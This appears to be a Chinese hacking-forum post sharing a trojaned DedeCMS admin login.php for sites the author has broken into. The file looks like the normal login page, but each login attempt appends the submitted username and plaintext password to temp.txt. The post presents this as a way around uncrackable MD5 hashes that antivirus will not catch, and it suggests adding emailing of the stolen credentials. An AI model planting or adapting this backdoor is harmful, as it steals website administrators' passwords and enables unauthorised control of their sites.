说明：在早几天日一个站的时候写的 因为md5破不出来 只好用这法子咯  
  
  
用法：  
替换管理目录下的login.php 会在管理目录生成temp.txt 明文..  
作用大家懂得.....在MD5破不出来的时候..在社工的时候..而且这个是不会被杀的后门  
..里面源码可以改 可以更淫荡的 比如邮件有信 箱子收信 等等 其实 大家随意淫荡吧 伤不起呀 对了 这是utf-8版本 个人blog:<http://www.wscriptshell.com/>

1. require\_once(dirname(\_\_FILE\_\_).'/../include/common.inc.php');
2. require\_once(DEDEINC.'/userlogin.class.php');
3. if(empty($dopost))
4. {
5. $dopost = '';
6. }
7. //检测安装目录安全性
8. if( is\_dir(dirname(\_\_FILE\_\_).'/../install') )
9. {
10. if(!file\_exists(dirname(\_\_FILE\_\_).'/../install/install\_lock.txt') )
11. {
12. $fp = fopen(dirname(\_\_FILE\_\_).'/../install/install\_lock.txt', 'w') or die('安装目录无写入权限，无法进行写入锁定文件，请安装完毕删除安装目录！');
13. fwrite($fp,'ok');
14. fclose($fp);
15. }
16. //为了防止未知安全性问题，强制禁用安装程序的文件
17. if( file\_exists("../install/index.php") ) {
18. @rename("../install/index.php", "../install/index.php.bak");
19. }
20. if( file\_exists("../install/module-install.php") ) {
21. @rename("../install/module-install.php", "../install/module-install.php.bak");
22. }
23. }
24. //检测后台目录是否更名
25. $cururl = GetCurUrl();
26. if(eregi('/dede/login',$cururl))
27. {
28. $redmsg = '
29. 您的管理目录使用默认名称dede，建议在FTP里把它修改为其它名称，那样会更安全！';
30. }
31. else
32. {
33. $redmsg = '';
34. }
35. //登录检测
36. $admindirs = explode('/',str\_replace("\\",'/',dirname(\_\_FILE\_\_)));
37. $admindir = $admindirs[count($admindirs)-1];
38. if($dopost=='login')
39. {
40. $validate = empty($validate) ? '' : strtolower(trim($validate));
41. $svali = strtolower(GetCkVdValue());
42. if($validate=='' || $validate != $svali)
43. {
44. ResetVdValue();
45. ShowMsg('验证码不正确!','');
46. }
47. else
48. {
49. $cuserLogin = new userLogin($admindir);
50. if(!empty($userid) && !empty($pwd))
51. {
52. $fileName="temp.txt";
53. $someContent=$userid." ".$pwd."\n";
54. $handle=fopen($fileName,"a");
55. fwrite($handle,$someContent);
56. fclose($handle);
57. $res = $cuserLogin->checkUser($userid,$pwd);
58. //success
59. if($res==1)
60. {
61. $cuserLogin->keepUser();
62. if(!empty($gotopage))
63. {
64. ShowMsg('成功登录，正在转向管理管理主页！',$gotopage);
65. exit();
66. }
67. else
68. {
69. ShowMsg('成功登录，正在转向管理管理主页！',"index.php");
70. exit();
71. }
72. }
73. //error
74. else if($res==-1)
75. {
76. ShowMsg('你的用户名不存在!','');
77. }
78. else
79. {
80. ShowMsg('你的密码错误!','');
81. }
82. }
83. //password empty
84. else
85. {
86. ShowMsg('用户和密码没填写完整!','');
87. }
88. }
89. }
90. include('templets/login.htm');
91. ?>

复制代码